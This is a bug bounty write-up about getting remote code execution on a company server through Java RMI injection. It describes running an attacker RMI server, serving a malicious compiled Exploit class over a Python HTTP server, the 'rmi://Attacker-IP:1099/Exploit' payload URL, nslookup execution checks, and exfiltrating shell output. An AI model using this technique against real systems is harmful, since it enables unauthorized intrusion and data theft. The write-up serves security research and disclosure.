RCE via Java RMI Injection

matitanium
7 min readDec 6, 2024

--

Hello friends,

I don’t usually write write-ups except for specific vulnerabilities like injections. Today I want to share with you another injection vulnerability that I recently exploited.
In this write-up, I will share the story of an unusual Remote Code Execution (RCE) vulnerability I discovered on a company website. This case was unique and presented challenges that set it apart from other RCEs. Let’s dive in!

One cold winter day, I decided to test a new target. I launched Burp Suite and began my reconnaissance to identify potential vulnerabilities.
First I started to Recon on the target to find a pure and good endpoint to start the journey and luckily for me I found an interesting domain that was successful to catch my attention.
I started to hunt on it for a few hours but there was no luck.
It was clean like a desert !!
That was the moment I realized I shouldn’t be looking for simple bugs like XSS or SQL injection, I should switch to logic bugs or infrastructure vulnerability.
So I changed my mindset and started hunting a few hours later after taking a break and chilling my mind.
In the process of hunting i remembered a quote that helped me find the RCE on the target.
The quote says “vulnerabilities are found where the program has changed from its normal behavior” while i was hunting, the quote was repeating in my mind.
After a few hours I found a request that catched my attention !!!

Request look like:

At first when I saw the request I immediately tried to test SSRF but the program was refusing to accept my domain as a valid domain to send a HTTP Request but there was a DNS request!!!
so I thought maybe I can try in some different way, I put the collaborator domain in the body and sent it after the RMI URL.
in that moment I realized that the server is only resolving the domain and nothing happens after that it’s like the server only make a DNS request and nothing happens.

so I thought something is not right here
after reaching this point I stopped hunting and started researching and my entry point for the research was the word “RMI” on the request.
I thought if the burp collaborator is getting a DNS request them we might be on a local network because maybe the program is trying to validate my domain with their own DNS resolvers at the second point I started to research about the RMI so I fired up the ChatGPT and asked about it and this is what I got:

RMI stands for Remote Method Invocation, a Java-based technology that allows an object residing in one Java Virtual Machine (JVM) to invoke methods on an object located in another JVM. It enables distributed applications to communicate and share objects across networks as if they were local.
Key Concepts of RMI:
1. Remote Object: An object whose methods can be invoked from another JVM.
2. Stub and Skeleton:
a. Stub: A proxy on the client side that forwards method calls to the remote object.
b. Skeleton (deprecated in later versions of Java): Receives the calls and delegates them to the actual remote object.
3. RMI Registry: A registry service where remote objects can be registered and looked up by clients.
4. Serialization: Data exchanged between JVMs is serialized for transmission.
Based on what I understand from the ChatGPT I realized that RMI is a Remote Method Invocation.
the first thing that popped up on my mind after reading about the RMI was RCE so I started to read about how to communicate with the RMI server.
after researching for hours I realized that anything comes after the “/” slash is considered as a java class and the server is trying to reach to it.
I did some research and found that RMI server can be set up like the following:

1. Setup RMI server in rmiServer.java
  1. Set up the RMI server in rmiServer.java (use the public server IP, not localhost).

After compiling rmiServer.java with javac rmiServer.java, the RMI server responds to incoming requests.

Run RMI server after compile code

Attacker send request to company machine
this code is used to make a RMI server because the RMI is only responding to RMI and can not be matched with other type.
after configuring the RMI on the server now the application sees the attacker server as an RMI Server and Now they can communicate with each other but this is not all of it!!!
after creating RMI Server I started to create a JAVA file called exploit because the RMI Client only accepts the RMI Server response and the next step after creating a RMI server is to make a RMI Exploit.
For Better understanding the Flo Flowchart of it will as following :

Attacker send request to company machine

This means that the server is now accepting the RMI request but in order to make the class goes to the victim server and accept it we should do something else!!
after configuring the server to accepts the RMI request we send the data in a Java Class and we can send java code to the server using RMI.

Next, I set up an HTTP server to host a malicious Java class file. The RMI client expects a response from the RMI server, which only accepts specific RMI requests.

I created an exploit file, which I compiled with javac Exploit.java. Then, I set up a Python HTTP server to serve the compiled Java exploit file, like this:

python3 -m http.server
http://IP:8000/

now the exploit will look like this:

after creating the Java Exploit file it needs to be compiled with the command “javac Exploit.java”, after configuring that on the server now if our RMI Server get a request from the “rmi://Attacker-IP:1099/Exploit” we can get in the Server.

Exploit directory structure

the code created looks for the file Exploit and trying to reach it, that’s why we run the HTTP Server, where we complied the Exploit Java code, so when the RMI server made it request to it, and was looking for the Java Exploit Object the RMI server passes the code to it.

Remembered that when we tried to test SSRF, the application was making a DNS request?
this was because the application was trying to resolve the burp collaborator domain with its own resolvers, now we can put a “nslookup” command on the domain as a payload to see if our code is executing on victim server or not but why the “nslookup” command?
that’s because the “nslookup” one of the special commands that works on both windows server and Linux machines and we don’t know what machine is hosting behind our target.
after that we put the collaborator domain on the exploit so if the request is sent we can see the log here on our collaborator.
and BOOOMMM!!!
it works !!!

nslookup fire in target machine

After making sure that the code is executing on the server, we can now test some RCE’s code and get a shell!!!
in order to Accept the request by the server we should build a HTTP Server on server itself, which means that we must the request must goes through two Servers, on is the RMI server that accepts the request and the other one is the one that sends the Exploit.Java which is the exploit.class code.
after all those steps the RMI server pass the file to the target machine and then we can have a shell on it!!!
now we put the “Exploit” on the server and make a shell code in it.
we make our server to listen on a specific port and we send the data in nslookup command and see the result by Exfiltering the output to our Server.

As you saw at the beginning of the write-up, unfortunately this report was a duplicate and I published this to publish how to exploit this vulnerability.

Tnx for reading
matitanium

--

--

matitanium
matitanium

Written by matitanium

bug hunter | security researcher

Responses (1)